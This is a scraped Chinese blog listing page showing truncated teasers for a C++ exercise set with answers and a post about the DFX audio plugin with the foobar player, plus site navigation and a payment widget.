一套C++练习题(含答案)供大家参考!作者:yaozheng

今天帮别人做的,有些题目比较有代表性,在此连答案全部贴出来,给需要的朋友做参考。全部程序在VISUAL C++ 6.0环境下均调试通过。如果您对其中某个程序有更好的解答方法,欢迎跟贴交流。因为时间有限,没有写注释,如果您哪段程序不理解,也可以跟贴交流。一、    选择题:1、C++源程序文件的扩展名是:AA) .CPP        B) .C        C) .DLL         D)

FreeXploiT 6496

DFX for foobar 图解

想当年自己也是dfx+realone的fans 忽如一夜foobar来 那时候就是误传foobar音质好我就投靠了foobar 现在打算回归自然了 呵呵 foobar自从自立门户扬名立万以来,和众多主流媒体播放器争夺战激烈异常。尤其是和Winamp这个亲家可谓是到针锋相对的地步了,人气度确实是平分秋色不分伯仲,大概各自都有强项的缘故吧,导致分拥两派的人骂战不断。DFX和这些播放软件的关系有点游戏开

FreeXploiT 5630
上一篇: CS狙枪exploit!!!(ALLyeSNO)
下一篇: 剑走偏锋--灵巧的脚本攻击
freexploit
博客等级 码龄22年 315粉丝 778原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值